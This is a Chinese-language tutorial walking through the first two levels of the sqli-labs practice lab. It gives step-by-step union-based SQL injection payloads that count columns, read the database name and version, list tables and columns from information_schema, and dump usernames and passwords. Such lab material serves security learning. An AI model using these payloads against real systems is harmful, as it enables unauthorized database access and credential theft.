当前位置: 首页 > news >正文

sqli-labs注入练习1,2关

sqli-labs第一关

判断是否存在sql注入

可见,根据输入数字的不同,结果也不同

判断sql语句是否是拼接,且是字符型还是数字型

由上可见,这关指定是字符型且存在sql注入漏洞

使用联合注入

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号。

?id=-1'union select 1,database(),version()--+

第四步: 爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第五步:爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

加注释还是提示报错,证明是数字型

进行一个联合查询。?id=-1 union select 1,2,3 --+

使用order by 1到order by 4发现order by 4时查看到列数只有四个。

接着查看它的数据库名字和版本号在实战中就可以用以在网上查找该版本相应的漏洞之类的。?id=-1 union select 1,database(),version()--+,查看到数据库名为security,版本为5.7.26.

再查找出在MySQL自带库information_schema中存在的table表(表名)则通过?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。

或者输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+。其效果也是一样

然后我们继续深入查看users这张表,输入?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+。发现其中包含有username和password这两张我们的最终目的表。

最后查询这两张表中的数据拿到我们想要的用户名和密码,输入?id=-1 union select 1,username,password from users where id=2 --+

http://www.lryc.cn/news/416148.html

相关文章:

  • B站宋红康JAVA基础视频教程个人笔记chapter04
  • 关于java枚举为什么可以拿来当单例实现这件事看看ikun怎么说
  • Hugging Face下载模型
  • JVM-垃圾回收
  • 8.C基础_指针基础
  • 安泰功率放大器使用注意事项有哪些内容和要求
  • windows下,使用vs code远程连接云服务器【以CentOS7为例】
  • x264 中像素扩边算法源码分析
  • 数据结构——双链表详解(超详细)
  • 银行项目利润问题(贪心思想)
  • SQLite
  • 浅谈 Mybatis 框架
  • 【星海随笔】OSPF协议
  • Vue 使用elementUI-plus el-calendar加 公历转农历 是否节假日 等
  • SQL-锁
  • 索引小tips
  • 2024年【中级消防设施操作员(考前冲刺)】报名考试及中级消防设施操作员(考前冲刺)免费试题
  • 数据结构:栈(含源码)
  • 如何使用Markdown编辑器
  • 当代最火的哲学家颜廷利:全球公认十个最厉害的思想家之一
  • android13内核增加调试接口给上层使用
  • linux:phpstudy安装及日常命令使用[表格]
  • 【python】Linux升级版本
  • 鸿蒙开发if判断有点坑
  • IT课程学习搭子
  • hive拼接字符串concat函数的用法
  • Linux-理解shell
  • FutureTask详解
  • javase综合案例4 -- 考试系统
  • Logistic回归